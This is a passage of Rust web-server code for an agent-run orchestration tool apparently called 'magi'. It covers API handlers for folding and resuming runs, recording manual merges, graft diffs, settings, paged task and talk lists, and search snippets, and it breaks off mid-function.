4512async fn run_fold(State(ui): State<Arc<Ui>>, Path(id): Path<String>) -> ApiResult<Json<FoldView>> {
4513    let (id, state) = {
4514        let ui = Arc::clone(&ui);
4515        blocking(move || {
4516            let id = resolve_run(&ui.runs, &id)?;
4517            if crate::daemon::is_working_on(&ui.home, &id, jiff::Timestamp::now()) {
4518                return Err(ApiError::conflict(format!(
4519                    "run {id} is being worked on by a live daemon right now"
4520                )));
4521            }
4522            let state = read_run(&ui.runs, &id).ok();
4523            Ok((id, state))
4524        })
4525        .await?
4526    };
4527    let removed = match state {
4528        Some(mut state) => {
4529            let removed = crate::graph::fold_run(&mut state, true, &ui.home)
4530                .await
4531                .map_err(|e| ApiError::internal(format!("{e:#}")))?;
4532            // Nothing left to remove is not the same thing as nothing left to
4533            // do — see `clean::clear_abandoned_active`'s own doc for the run
4534            // this exists for: worktrees already gone, but a killed process
4535            // left active seats nobody will ever answer for.
4536            if removed.is_empty() {
4537                crate::clean::clear_abandoned_active(&mut state, &ui.home, jiff::Timestamp::now())
4538                    .map_err(|e| ApiError::internal(format!("{e:#}")))?;
4539            }
4540            removed
4541        }
4542        None => crate::clean::fold_unreadable(&ui.runs, &ui.worktrees_root, &id)
4543            .await
4544            .map_err(|e| ApiError::internal(format!("{e:#}")))?,
4545    };
4546    Ok(Json(FoldView {
4547        run: id,
4548        removed_count: removed.len(),
4549        removed,
4550    }))
4551}
4552
4553/// What a fold took away, so the deck can say so rather than only re-render.
4554#[derive(Debug, Serialize)]
4555struct FoldView {
4556    run: String,
4557    /// Worktree paths and branch names removed, in the order they went.
4558    removed: Vec<String>,
4559    removed_count: usize,
4560}
4561
4562/// `POST /api/runs/{id}/fold-merged` body: the pull request the operator
4563/// merged outside of `land::land`'s own loop.
4564#[derive(Debug, Deserialize)]
4565struct FoldMergedBody {
4566    #[serde(default)]
4567    pr_url: String,
4568}
4569
4570/// `POST /api/runs/{id}/fold-merged`.
4571///
4572/// The phone-reachable form of `magi fold --merged <pr-url>`: a run stuck
4573/// `Blocked` with `merge: null` because magi never got as far as opening a
4574/// pull request of its own (a title over GitHub's length limit, `gh pr
4575/// create` unreachable, a stale token), which the operator then finished by
4576/// hand on a pull request magi never recorded. The "Run actions" sheet used
4577/// to have no way to tell it about that pull request short of a terminal and
4578/// `magi fold --merged` — see `land::correct_manual_merge`'s own doc for why
4579/// this exists and what it deliberately does not do (`bump::after_merge`).
4580///
4581/// Refused, like [`run_fold`], while a live daemon is working on the run: the
4582/// correction rewrites the same `status`/`merge` fields a running graph would
4583/// be writing to on its own.
4584///
4585/// Unlike [`run_resume`] this does not return 202: it makes at most two `gh`
4586/// calls plus a fold, seconds of work, and the phone should get its answer
4587/// (which pull request it recorded, and what changed) in the same round
4588/// trip rather than learning it from the change stream.
4589async fn run_fold_merged(
4590    State(ui): State<Arc<Ui>>,
4591    Path(id): Path<String>,
4592    Json(body): Json<FoldMergedBody>,
4593) -> ApiResult<Json<FoldMergedView>> {
4594    let pr_url = body.pr_url.trim().to_owned();
4595    if pr_url.is_empty() {
4596        return Err(ApiError::bad_request("pr_url is required"));
4597    }
4598    let (id, mut state) = {
4599        let ui = Arc::clone(&ui);
4600        blocking(move || {
4601            let id = resolve_run(&ui.runs, &id)?;
4602            if crate::daemon::is_working_on(&ui.home, &id, jiff::Timestamp::now()) {
4603                return Err(ApiError::conflict(format!(
4604                    "run {id} is being worked on by a live daemon right now"
4605                )));
4606            }
4607            let state = read_run(&ui.runs, &id)?;
4608            Ok((id, state))
4609        })
4610        .await?
4611    };
4612    let (before, after) = crate::land::correct_manual_merge(&mut state, &pr_url)
4613        .await
4614        .map_err(|e| ApiError::bad_request(format!("{e:#}")))?;
4615    let removed = crate::graph::fold_run(&mut state, true, &ui.home)
4616        .await
4617        .map_err(|e| ApiError::internal(format!("{e:#}")))?;
4618    Ok(Json(FoldMergedView {
4619        run: id,
4620        before: before.as_str().to_owned(),
4621        after: after.as_str().to_owned(),
4622        removed,
4623    }))
4624}
4625
4626/// What [`run_fold_merged`] did, so the deck can say so.
4627#[derive(Debug, Serialize)]
4628struct FoldMergedView {
4629    run: String,
4630    /// `status` before the correction — normally `"blocked"`.
4631    before: String,
4632    /// `status` after — normally `"merged"`.
4633    after: String,
4634    /// Worktree paths and branch names the trailing fold removed.
4635    removed: Vec<String>,
4636}
4637
4638/// `POST /api/runs/{id}/resume`.
4639///
4640/// Carry a stalled run on from where it stopped, in the background.
4641///
4642/// A stalled card says "the work is kept" and used to offer no way to act on
4643/// that: the candidates are built and paid for, and continuing means re-asking
4644/// only the seats whose absence collapsed the panel. The alternative an
4645/// operator actually had was releasing the task, which competes three fresh
4646/// implementations against work that already exists.
4647///
4648/// **202, not 200.** A resume runs agents for minutes; holding the connection
4649/// is the mistake `POST /api/talks/{id}/say` already made and had fixed. The
4650/// phone learns the outcome from the change stream.
4651///
4652/// Refused when the loop is running at all, not merely when it is on this run.
4653/// The scarce resource is the agent CLIs' quota, and a tap that quietly
4654/// started a second graph on top of whatever the loop is already driving —
4655/// one run by default, or as many as `Config::daemon.max_concurrent_runs`
4656/// allows — would spend that quota twice over for no extra throughput.
4657async fn run_resume(
4658    State(ui): State<Arc<Ui>>,
4659    Path(id): Path<String>,
4660) -> ApiResult<(StatusCode, Json<RunSummary>)> {
4661    let admission = ui.begin_admission()?;
4662    admitted(admission, async move {
4663        let (id, state) = {
4664            let ui = Arc::clone(&ui);
4665            blocking(move || {
4666                let id = resolve_run(&ui.runs, &id)?;
4667                let state = read_run(&ui.runs, &id)?;
4668                Ok((id, state))
4669            })
4670            .await?
4671        };
4672        crate::resume::validate_unqueued(&ui.home, &id)
4673            .map_err(|e| ApiError::conflict(e.to_string()))?;
4674        let _resume = ui.begin_resume(&id)?;
4675
4676        crate::resume::start(&ui.home, id.clone())
4677            .await
4678            .map_err(ApiError::from)?;
4679        // The same shape the list route returns, so the phone updates the card it
4680        // already has rather than learning a second schema for one button.
4681        let queued = RunSummary::of(
4682            &state,
4683            !ui.questions.open_for(&id).is_empty(),
4684            state.liveness(daemon::is_working_on(&ui.home, &id, Timestamp::now())),
4685        );
4686        Ok((StatusCode::ACCEPTED, Json(queued)))
4687    })
4688    .await
4689}
4690
4691async fn run_report(
4692    State(ui): State<Arc<Ui>>,
4693    Path(id): Path<String>,
4694) -> ApiResult<impl IntoResponse> {
4695    let text = blocking(move || {
4696        let id = resolve_run(&ui.runs, &id)?;
4697        // Colour is off for the whole process, set once in `serve`. Rendering
4698        // is CPU work over the full state, which is the other reason this is
4699        // not on the executor.
4700        let state = read_run(&ui.runs, &id)?;
4701        let daemon_claims = crate::daemon::is_working_on(&ui.home, &id, jiff::Timestamp::now());
4702        let live = state.liveness(daemon_claims);
4703        Ok(format!(
4704            "{}{}",
4705            report::run(&state),
4706            report::active_seats(&state, live)
4707        ))
4708    })
4709    .await?;
4710    Ok(([(header::CONTENT_TYPE, "text/plain; charset=utf-8")], text))
4711}
4712
4713/// The structured twin of [`run_report`]: the same state, as sections the UI
4714/// draws as cards. An unreadable run answers with the same error the text
4715/// route does; it is never turned into an empty report.
4716async fn run_report_json(
4717    State(ui): State<Arc<Ui>>,
4718    Path(id): Path<String>,
4719) -> ApiResult<Json<crate::report_view::RunReportView>> {
4720    let view = blocking(move || {
4721        let id = resolve_run(&ui.runs, &id)?;
4722        let state = read_run(&ui.runs, &id)?;
4723        let daemon_claims = crate::daemon::is_working_on(&ui.home, &id, jiff::Timestamp::now());
4724        // Only a record that lacks the structured details reads `artifacts/`.
4725        let recovered = state.graft.as_ref().map(|_| {
4726            crate::graft_report::recover(&state, &crate::agent::artifacts_dir(&state.dir()))
4727        });
4728        Ok(crate::report_view::build_with(
4729            &state,
4730            state.liveness(daemon_claims),
4731            recovered.as_ref(),
4732        ))
4733    })
4734    .await?;
4735    Ok(Json(view))
4736}
4737
4738/// Most of a graft diff the route returns.
4739const GRAFT_DIFF_MAX: usize = 400 * 1024;
4740/// How long `git diff` may run.
4741const GRAFT_DIFF_TIMEOUT: Duration = Duration::from_secs(15);
4742
4743/// The graft's own patch: recorded `pre` against recorded `post`. Both SHAs
4744/// come from the run record, never from the request.
4745async fn run_graft_diff(
4746    State(ui): State<Arc<Ui>>,
4747    Path(id): Path<String>,
4748) -> ApiResult<impl IntoResponse> {
4749    let (repo, pre, post) = blocking(move || {
4750        let id = resolve_run(&ui.runs, &id)?;
4751        let state = read_run(&ui.runs, &id)?;
4752        let g = state
4753            .graft
4754            .as_ref()
4755            .ok_or_else(|| ApiError::not_found("this run has no graft"))?;
4756        let post = g
4757            .post
4758            .clone()
4759            .ok_or_else(|| ApiError::not_found("the graft recorded no post-graft commit"))?;
4760        Ok((state.repo.clone(), g.pre.clone(), post))
4761    })
4762    .await?;
4763    let hex = |s: &str| (4..=64).contains(&s.len()) && s.chars().all(|c| c.is_ascii_hexdigit());
4764    if !hex(&pre) || !hex(&post) {
4765        return Err(ApiError::not_found("the recorded commits are not valid"));
4766    }
4767    let out = tokio::time::timeout(
4768        GRAFT_DIFF_TIMEOUT,
4769        crate::git::git_raw(
4770            &repo,
4771            &[
4772                "diff",
4773                "--no-color",
4774                "--no-ext-diff",
4775                "-M",
4776                &pre,
4777                &post,
4778                "--",
4779            ],
4780        ),
4781    )
4782    .await
4783    .map_err(|_| ApiError::not_found("git diff timed out"))?
4784    .map_err(|e| ApiError::not_found(format!("git diff failed: {e:#}")))?;
4785    if out.code != Some(0) {
4786        return Err(ApiError::not_found(
4787            "the recorded commits are no longer in the repository",
4788        ));
4789    }
4790    let mut body = out.stdout;
4791    if body.len() > GRAFT_DIFF_MAX {
4792        let mut cut = GRAFT_DIFF_MAX;
4793        while !body.is_char_boundary(cut) {
4794            cut -= 1;
4795        }
4796        body.truncate(cut);
4797        body.push_str("\n... diff truncated ...");
4798    }
4799    Ok((
4800        [
4801            (header::CONTENT_TYPE, "text/plain; charset=utf-8"),
4802            (header::X_CONTENT_TYPE_OPTIONS, "nosniff"),
4803        ],
4804        body,
4805    ))
4806}
4807
4808/// A task as the UI sees it.
4809///
4810/// The whole task, plus the two things the client would otherwise have to
4811/// reimplement: the human-readable source and the status string. Nothing is
4812/// removed - the phone shows `last_error` and the run history verbatim.
4813#[derive(Debug, Serialize)]
4814struct TaskView {
4815    #[serde(flatten)]
4816    task: Task,
4817    source_label: String,
4818    source_link: Option<SourceLink>,
4819    status_str: &'static str,
4820    /// The instruction, parsed as markdown, for the Queue card's "Full
4821    /// instruction" panel. `task.instruction` is unchanged and still carries
4822    /// the raw text.
4823    instruction_md: Vec<md::Node>,
4824    /// For a blocked task, what it waits on with each dependency's state, e.g.
4825    /// `4135 (blocked → 9db7 held)`. Built server-side so the client never
4826    /// recurses; empty for every other status.
4827    waits_on: Vec<String>,
4828    /// Short ids of the held (or cyclic) tasks a blocked task is frozen
4829    /// behind - non-empty means nothing in the loop will ever run it.
4830    stuck_roots: Vec<String>,
4831}
4832
4833impl From<Task> for TaskView {
4834    fn from(task: Task) -> Self {
4835        Self {
4836            source_label: task.source.label(),
4837            source_link: source_link(&task.source),
4838            status_str: task.status.as_str(),
4839            instruction_md: md::to_nodes(&task.instruction, &md::ImageBase::None),
4840            waits_on: Vec::new(),
4841            stuck_roots: Vec::new(),
4842            task,
4843        }
4844    }
4845}
4846
4847impl TaskView {
4848    fn with_inventory(task: Task, inv: &crate::blockers::Inventory) -> Self {
4849        let waits_on = inv.waits_on(&task);
4850        let stuck_roots = inv
4851            .stuck_roots(&task)
4852            .iter()
4853            .map(|r| r.rsplit('-').next().unwrap_or(r).to_owned())
4854            .collect();
4855        Self {
4856            waits_on,
4857            stuck_roots,
4858            ..Self::from(task)
4859        }
4860    }
4861}
4862
4863/// `?refresh=1` forces a re-scan even inside the TTL. Any other value, or
4864/// its absence, leaves the cache to decide.
4865#[derive(Debug, Default, Deserialize)]
4866#[serde(default)]
4867struct ReposQuery {
4868    refresh: u8,
4869}
4870
4871/// `GET /api/repos` - local checkouts found under `[repos] roots`, the same
4872/// listing `magi repos` prints at a terminal.
4873///
4874/// Reads `[repos] roots` and `[repos] scan_ttl` discovered against `ui.repo`
4875/// so an edit to `magi.toml` takes effect without a restart, the same
4876/// reasoning [`config_for`] documents for the talk routes.
4877async fn repos_list(
4878    State(ui): State<Arc<Ui>>,
4879    Query(q): Query<ReposQuery>,
4880) -> ApiResult<Json<Vec<repos::Repo>>> {
4881    let refresh = q.refresh != 0;
4882    blocking(move || {
4883        let (cfg, _) = Config::discover(&ui.repo, None)?;
4884        Ok(Json(ui.repos_cache.list(
4885            &cfg.repos.roots,
4886            Duration::from_secs(cfg.repos.scan_ttl),
4887            refresh,
4888        )))
4889    })
4890    .await
4891}
4892
4893/// Optional context, restricted to the server's known checkouts.
4894#[derive(Debug, Default, Deserialize)]
4895struct SettingsQuery {
4896    repo: Option<PathBuf>,
4897}
4898
4899/// Always discover against the server's original context, never the selection.
4900/// If that config is broken, retain the default context and machine-only roots
4901/// so the settings error contract and recovery picker remain available.
4902fn settings_repositories(ui: &Ui, refresh: bool) -> Vec<repos::Repo> {
4903    let cfg = settings::repository_config(&ui.repo, ui.machine_config.as_deref()).or_else(|_| {
4904        let paths: Vec<PathBuf> = ui
4905            .machine_config
4906            .iter()
4907            .filter(|p| p.is_file())
4908            .cloned()
4909            .collect();
4910        if paths.is_empty() {
4911            Ok(Config::autodetected())
4912        } else {
4913            Config::load_layers(&paths)
4914        }
4915    });
4916    let mut known = cfg
4917        .map(|cfg| {
4918            ui.repos_cache.list(
4919                &cfg.repos.roots,
4920                Duration::from_secs(cfg.repos.scan_ttl),
4921                refresh,
4922            )
4923        })
4924        .unwrap_or_default();
4925    let path = ui.repo.canonicalize().unwrap_or_else(|_| ui.repo.clone());
4926    if !known.iter().any(|r| r.path == path) {
4927        known.push(repos::Repo {
4928            name: path
4929                .file_name()
4930                .unwrap_or_default()
4931                .to_string_lossy()
4932                .into_owned(),
4933            path,
4934        });
4935    }
4936    known
4937}
4938
4939fn settings_context(ui: &Ui, q: SettingsQuery) -> ApiResult<(PathBuf, Vec<repos::Repo>)> {
4940    let requested = q.repo.unwrap_or_else(|| ui.repo.clone());
4941    let canonical = requested.canonicalize().ok();
4942    let mut known = settings_repositories(ui, false);
4943    let matches = |r: &repos::Repo| canonical.as_ref().is_some_and(|p| p == &r.path);
4944    if !known.iter().any(matches) {
4945        known = settings_repositories(ui, true);
4946    }
4947    let repo = known
4948        .iter()
4949        .find(|r| matches(r))
4950        .map(|r| r.path.clone())
4951        .ok_or_else(|| ApiError {
4952            text_reason: None,
4953            status: StatusCode::UNPROCESSABLE_ENTITY,
4954            message: "Choose a known repository from the Settings selector.".to_owned(),
4955        })?;
4956    Ok((repo, known))
4957}
4958
4959/// `GET /api/settings` - the effective role assignments and roster, with the
4960/// layer each came from. A config that fails to load answers 200 with an
4961/// `error`, so the screen can say so instead of drawing empty lists.
4962async fn settings_get(
4963    State(ui): State<Arc<Ui>>,
4964    Query(q): Query<SettingsQuery>,
4965) -> ApiResult<Json<settings::SettingsView>> {
4966    blocking(move || {
4967        let (repo, known) = settings_context(&ui, q)?;
4968        Ok(Json(settings::view_with_repos(
4969            &repo,
4970            ui.machine_config.as_deref(),
4971            &known,
4972        )))
4973    })
4974    .await
4975}
4976
4977/// The body of `PUT /api/settings/roles`.
4978#[derive(Debug, Deserialize)]
4979#[serde(deny_unknown_fields)]
4980struct RolesBody {
4981    /// The `revision` the client last read.
4982    revision: String,
4983    /// Role key to its new ids; an empty list resets the key to its default.
4984    #[serde(default)]
4985    roles: std::collections::BTreeMap<String, Vec<String>>,
4986    /// Role key (`implementers`, `judges`, `reviewers`, `advisors`) to its new
4987    /// `[graph]` seat count. Kept as raw JSON so a non-integer is refused in
4988    /// words (422) instead of as a deserialization error.
4989    #[serde(default)]
4990    counts: std::collections::BTreeMap<String, serde_json::Value>,
4991}
4992
4993/// `PUT /api/settings/roles` - save role assignments to the machine config.
4994///
4995/// The write target is `ui.machine_config` and nothing in the body can change
4996/// it. A stale `revision` is a 409; anything the re-loaded config rejects is a
4997/// 422 with the reason in words.
4998async fn settings_put_roles(
4999    State(ui): State<Arc<Ui>>,
5000    Query(q): Query<SettingsQuery>,
5001    body: std::result::Result<Json<RolesBody>, JsonRejection>,
5002) -> ApiResult<Json<settings::SettingsView>> {
5003    let Json(body) = body.map_err(|e| ApiError::bad_request(e.body_text()))?;
5004    blocking(move || {
5005        let (repo, known) = settings_context(&ui, q)?;
5006        settings::save_with_repos(
5007            &repo,
5008            ui.machine_config.as_deref(),
5009            &body.revision,
5010            &body.roles,
5011            &body.counts,
5012            &known,
5013        )
5014        .map(Json)
5015        .map_err(|e| match e {
5016            settings::SaveError::Conflict(m) => ApiError::conflict(m),
5017            settings::SaveError::Refused(m) => ApiError {
5018                text_reason: None,
5019                status: StatusCode::UNPROCESSABLE_ENTITY,
5020                message: m,
5021            },
5022            settings::SaveError::Internal(m) => ApiError::internal(m),
5023        })
5024    })
5025    .await
5026}
5027
5028async fn queue_list(
5029    State(ui): State<Arc<Ui>>,
5030    Query(q): Query<ListQuery>,
5031) -> ApiResult<Json<Vec<TaskView>>> {
5032    blocking(move || {
5033        let tasks = ui.queue.list();
5034        let inv =
5035            crate::blockers::Inventory::load_with_tasks(&ui.queue, &ui.questions, tasks.clone());
5036        Ok(Json(
5037            tasks
5038                .into_iter()
5039                .filter(|t| q.contains(&t.id) || t.status == crate::queue::TaskStatus::Blocked)
5040                .map(|t| TaskView::with_inventory(t, &inv))
5041                .collect(),
5042        ))
5043    })
5044    .await
5045}
5046
5047/// Cursor pages read a bounded number of records, never the older transcripts
5048/// or instructions. Cursors advance through a frozen file-name snapshot,
5049/// including corrupt rows, so skipped/deleted records cannot repeat a page.
5050/// Concurrent inserts are reconciled by a trailing store refresh.
5051#[derive(Debug, Default, Deserialize)]
5052struct PageQuery {
5053    before: Option<String>,
5054}
5055
5056#[derive(Serialize)]
5057struct StorePage<T> {
5058    rows: Vec<T>,
5059    next: Option<String>,
5060}
5061
5062const STORE_PAGE_SIZE: usize = 16;
5063
5064/// Freeze only membership for one bounded cursor walk. Statuses and bodies are
5065/// always read from disk; writes/deletions during the walk are reconciled by
5066/// the next store revision. Never rescan the entire directory for every page.
5067#[derive(Debug)]
5068struct ListWalk {
5069    token: u64,
5070    talks: bool,
5071    opened: std::time::Instant,
5072    ids: Arc<Vec<String>>,
5073}
5074
5075fn page_ids(ui: &Ui, talks: bool, q: PageQuery) -> ApiResult<(Vec<String>, Option<String>)> {
5076    let mut walks = ui
5077        .monitor
5078        .list_walks
5079        .lock()
5080        .unwrap_or_else(PoisonError::into_inner);
5081    walks.retain(|walk| walk.opened.elapsed() < Duration::from_secs(120));
5082    let (token, ids, offset) = if let Some(cursor) = q.before {
5083        let (token, offset) = cursor
5084            .split_once(':')
5085            .ok_or_else(|| ApiError::bad_request("Invalid list cursor"))?;
5086        let token = token
5087            .parse::<u64>()
5088            .map_err(|_| ApiError::bad_request("Invalid list cursor"))?;
5089        let offset = offset
5090            .parse::<usize>()
5091            .map_err(|_| ApiError::bad_request("Invalid list cursor"))?;
5092        let walk = walks
5093            .iter()
5094            .find(|walk| walk.token == token && walk.talks == talks)
5095            .ok_or_else(|| ApiError::conflict("List cursor expired; retry the list"))?;
5096        (token, walk.ids.clone(), offset)
5097    } else {
5098        let root = if talks {
5099            ui.talks.root()
5100        } else {
5101            ui.queue.root()
5102        };
5103        let mut ids = crate::queue::record_ids(root, "json")?;
5104        ids.sort_unstable_by(|a, b| b.cmp(a));
5105        let ids = Arc::new(ids);
5106        let mut token = crate::rng::entropy();
5107        while walks.iter().any(|walk| walk.token == token) {
5108            token = crate::rng::entropy();
5109        }
5110        // Four clients can enumerate both stores and overlap a refresh. Bound
5111        // retained membership snapshots; an evicted cursor explicitly retries.
5112        if walks.len() >= 16 {
5113            walks.remove(0);
5114        }
5115        walks.push(ListWalk {
5116            token,
5117            talks,
5118            opened: std::time::Instant::now(),
5119            ids: ids.clone(),
5120        });
5121        (token, ids, 0)
5122    };
5123    if offset > ids.len() {
5124        return Err(ApiError::bad_request("Invalid list cursor"));
5125    }
5126    let end = offset.saturating_add(STORE_PAGE_SIZE).min(ids.len());
5127    let next = (end < ids.len()).then(|| format!("{token}:{end}"));
5128    Ok((ids[offset..end].to_vec(), next))
5129}
5130
5131async fn queue_page(
5132    State(ui): State<Arc<Ui>>,
5133    Query(q): Query<PageQuery>,
5134) -> ApiResult<Json<StorePage<TaskView>>> {
5135    blocking(move || {
5136        let (ids, next) = page_ids(&ui, false, q)?;
5137        let tasks: Vec<_> = ids
5138            .into_iter()
5139            .filter_map(|id| ui.queue.get(&id).ok())
5140            .collect();
5141        let inv = crate::blockers::Inventory::load_for_tasks(&ui.queue, &ui.questions, &tasks);
5142        let rows = tasks
5143            .into_iter()
5144            .map(|task| TaskView::with_inventory(task, &inv))
5145            .collect();
5146        Ok(Json(StorePage { rows, next }))
5147    })
5148    .await
5149}
5150
5151/// Fixed-size wire projection. Agent timestamps stay in the server index so
5152/// exact unread counts do not require sending an ever-growing turn list.
5153#[derive(Debug, Clone, Serialize)]
5154struct TalkListView {
5155    title: Option<talk::ChatTitle>,
5156    id: String,
5157    repo: PathBuf,
5158    agent: String,
5159    status: talk::TalkStatus,
5160    turns: Vec<TalkListTurn>,
5161    turn_count: usize,
5162    unread_count: usize,
5163    context: talk::ContextUsage,
5164    #[serde(skip)]
5165    agent_times: Vec<Timestamp>,
5166    thinking: bool,
5167    created_at: Timestamp,
5168    updated_at: Timestamp,
5169}
5170
5171#[derive(Debug, Clone, Serialize)]
5172struct TalkListTurn {
5173    who: talk::Who,
5174    at: Timestamp,
5175    body: String,
5176}
5177
5178fn talk_rows(ui: &Ui, ids: Vec<String>, headers: &header::HeaderMap) -> Vec<TalkListView> {
5179    let reads: HashMap<String, Timestamp> = headers
5180        .get("x-talk-reads")
5181        .and_then(|v| v.to_str().ok())
5182        .and_then(|v| serde_json::from_str(v).ok())
5183        .unwrap_or_default();
5184    let mut index = ui
5185        .monitor
5186        .talk_index
5187        .lock()
5188        .unwrap_or_else(PoisonError::into_inner);
5189    // Bound memory independently of the number of conversations ever opened.
5190    if index.len() > 1000 {
5191        index.clear();
5192    }
5193    ids.into_iter()
5194        .filter_map(|id| {
5195            let identity = file_identity(&ui.talks.path_of(&id)).ok()?;
5196            if index.get(&id).is_none_or(|(old, _)| *old != identity) {
5197                let talk = ui.talks.get(&id).ok()?;
5198                #[cfg(test)]
5199                ui.monitor
5200                    .talk_parses
5201                    .fetch_add(1, std::sync::atomic::Ordering::Relaxed);
5202                let first = talk.turns.iter().position(|t| t.who == talk::Who::Operator);
5203                let last = talk.turns.len().checked_sub(1);
5204                let turns = talk
5205                    .turns
5206                    .iter()
5207                    .enumerate()
5208                    .filter(|(i, _)| Some(*i) == first || Some(*i) == last)
5209                    .map(|(_, t)| TalkListTurn {
5210                        who: t.who,
5211                        at: t.at,
5212                        body: t
5213                            .body
5214                            .lines()
5215                            .next()
5216                            .unwrap_or_default()
5217                            .chars()
5218                            .take(240)
5219                            .collect(),
5220                    })
5221                    .collect();
5222                let row = TalkListView {
5223                    title: talk.title.clone(),
5224                    agent_times: talk
5225                        .turns
5226                        .iter()
5227                        .filter(|t| t.who == talk::Who::Agent)
5228                        .map(|t| t.at)
5229                        .collect(),
5230                    turn_count: talk.turns.len(),
5231                    unread_count: 0,
5232                    context: talk::context_usage(&talk, None),
5233                    turns,
5234                    thinking: false,
5235                    id: talk.id,
5236                    repo: talk.repo,
5237                    agent: talk.agent,
5238                    status: talk.status,
5239                    created_at: talk.created_at,
5240                    updated_at: talk.updated_at,
5241                };
5242                index.insert(id.clone(), (identity, row));
5243            }
5244            let row = &index.get(&id)?.1;
5245            let mut row = TalkListView {
5246                title: row.title.clone(),
5247                unread_count: row
5248                    .agent_times
5249                    .iter()
5250                    .filter(|at| reads.get(&id).is_none_or(|read| *at > read))
5251                    .count(),
5252                agent_times: Vec::new(),
5253                id: row.id.clone(),
5254                repo: row.repo.clone(),
5255                agent: row.agent.clone(),
5256                status: row.status,
5257                context: row.context.clone(),
5258                turns: row.turns.clone(),
5259                turn_count: row.turn_count,
5260                thinking: false,
5261                created_at: row.created_at,
5262                updated_at: row.updated_at,
5263            };
5264            row.thinking = ui.is_thinking(&id);
5265            Some(row)
5266        })
5267        .collect()
5268}
5269
5270async fn talks_page(
5271    State(ui): State<Arc<Ui>>,
5272    Query(q): Query<PageQuery>,
5273    headers: header::HeaderMap,
5274) -> ApiResult<Json<StorePage<TalkListView>>> {
5275    bulk_blocking(ui.monitor.bulk_slots.clone(), move || {
5276        let (ids, next) = page_ids(&ui, true, q)?;
5277        Ok(Json(StorePage {
5278            rows: talk_rows(&ui, ids, &headers),
5279            next,
5280        }))
5281    })
5282    .await
5283}
5284
5285async fn stats_queue(State(ui): State<Arc<Ui>>) -> ApiResult<Json<TaskCountsView>> {
5286    blocking(move || {
5287        let tasks = ui.indexed_tasks()?;
5288        Ok(Json(TaskCountsView::from(
5289            crate::queue::TaskCounts::of_statuses(tasks.iter().filter_map(|task| task.status)),
5290        )))
5291    })
5292    .await
5293}
5294
5295/// Most hits one search returns. The rest are counted in `total`.
5296const SEARCH_MAX_HITS: usize = 100;
5297/// Longest query, in characters, and most terms it is split into.
5298const SEARCH_MAX_QUERY: usize = 200;
5299const SEARCH_MAX_TERMS: usize = 8;
5300/// Characters of context kept before the first hit, and after it.
5301const SNIPPET_BEFORE: usize = 50;
5302const SNIPPET_AFTER: usize = 110;
5303
5304/// `?scope=runs|tasks&q=...`
5305#[derive(Debug, Deserialize)]
5306struct SearchQuery {
5307    #[serde(default)]
5308    scope: String,
5309    #[serde(default)]
5310    q: String,
5311}
5312
5313/// One piece of a snippet. `hit` pieces are what matched; the client renders
5314/// them as `<mark>` through DOM text nodes, so no markup is ever built here.
5315#[derive(Debug, Serialize, PartialEq, Eq)]
5316struct SnippetPart {
5317    text: String,
5318    hit: bool,
5319}
5320
5321#[derive(Debug, Serialize)]
5322struct SearchHit {
5323    id: String,
5324    /// The name of the field the snippet was cut from.
5325    field: String,
5326    snippet: Vec<SnippetPart>,
5327    /// The run's list row, so the page can apply its state / section / repo
5328    /// filters to a hit outside the loaded window. Absent for tasks and for a
5329    /// run record the list view cannot read.
5330    #[serde(skip_serializing_if = "Option::is_none")]
5331    run: Option<RunSummary>,
5332}
5333
5334#[derive(Debug, Serialize)]
5335struct SearchView {
5336    scope: String,
5337    q: String,
5338    /// At most [`SEARCH_MAX_HITS`], newest runs / queue order first.
5339    hits: Vec<SearchHit>,
5340    /// Every match, hits beyond the cap included.
5341    total: usize,
5342    truncated: bool,
5343    /// Runs whose `run.json` could not be parsed at all. They were not
5344    /// searched; the same meaning as `runs_unreadable` in `/api/health`.
5345    unreadable: usize,
5346}
5347
5348/// The text leaves of a JSON document, with the name of the field each sits
5349/// under. Keys and numbers are skipped: they are structure, not prose.
5350fn text_leaves<'a>(
5351    value: &'a serde_json::Value,
5352    field: &'a str,
5353    out: &mut Vec<(&'a str, &'a str)>,
5354) {
5355    match value {
5356        serde_json::Value::String(s) => out.push((field, s)),
5357        serde_json::Value::Array(items) => items.iter().for_each(|v| text_leaves(v, field, out)),
5358        serde_json::Value::Object(map) => map.iter().for_each(|(k, v)| text_leaves(v, k, out)),
5359        _ => {}
5360    }
5361}
5362
5363/// Lower-case one character without changing how many there are, so indices
5364/// in the lowered text are indices in the original.
5365fn fold_char(c: char) -> char {
5366    c.to_lowercase().next().unwrap_or(c)
5367}
5368
5369/// Split a query into its lower-cased terms.
5370fn search_terms(q: &str) -> Vec<String> {
5371    let mut terms: Vec<String> = Vec::new();
5372    for t in q.split_whitespace() {
5373        let t = t.to_lowercase();
5374        if !terms.contains(&t) {
5375            terms.push(t);
5376        }
5377    }
5378    terms
5379}
5380
5381/// Match `terms` (all of them, anywhere in the document) against the leaves
5382/// and cut a snippet around the first hit. `None` when a term is missing.
5383fn search_document(terms: &[String], leaves: &[(&str, &str)]) -> Option<SearchHit> {
5384    let lowered: Vec<String> = leaves.iter().map(|(_, s)| s.to_lowercase()).collect();
5385    let mut first: Option<usize> = None;
5386    for term in terms {
5387        let at = lowered.iter().position(|l| l.contains(term.as_str()))?;
5388        first = Some(first.map_or(at, |f| f.min(at)));
5389    }
5390    // The leaf holding the earliest hit of any term is where the snippet is cut.
5391    let (field, text) = leaves[first?];
5392    Some(SearchHit {
5393        id: String::new(),
5394        field: field.to_owned(),
5395        snippet: snippet_of(text, terms),
5396        run: None,
5397    })
5398}
5399
5400/// A window of `text` around the first occurrence of any term, whitespace
5401/// collapsed, with every term occurrence inside the window marked.
5402fn snippet_of(text: &str, terms: &[String]) -> Vec<SnippetPart> {
5403    let chars: Vec<char> = text.chars().collect();
5404    let folded: Vec<char> = chars.iter().map(|c| fold_char(*c)).collect();
5405    let needles: Vec<Vec<char>> = terms
5406        .iter()
5407        .map(|t| t.chars().map(fold_char).collect())
5408        .collect();
5409    let find = |from: usize, to: usize| -> Option<(usize, usize)> {
5410        let mut best: Option<(usize, usize)> = None;
5411        for n in needles.iter().filter(|n| !n.is_empty()) {
5412            // `to` bounds where a match may start; it may run past `to` (the
5413            // caller clips what it shows). A term longer than the field cannot
5414            // occur in it (it may live in another leaf of the document).
5415            if n.len() > chars.len() || to == 0 {
5416                continue;
5417            }
5418            let last = (to - 1).min(chars.len() - n.len());
5419            if from > last {
5420                continue;
5421            }
5422            if let Some(i) = (from..=last).find(|&i| folded[i..i + n.len()] == n[..])
5423                && best.is_none_or(|(b, _)| i < b)
5424            {
5425                best = Some((i, i + n.len()));
5426            }
5427        }
5428        best
5429    };
5430    let Some((start, _)) = find(0, chars.len()) else {
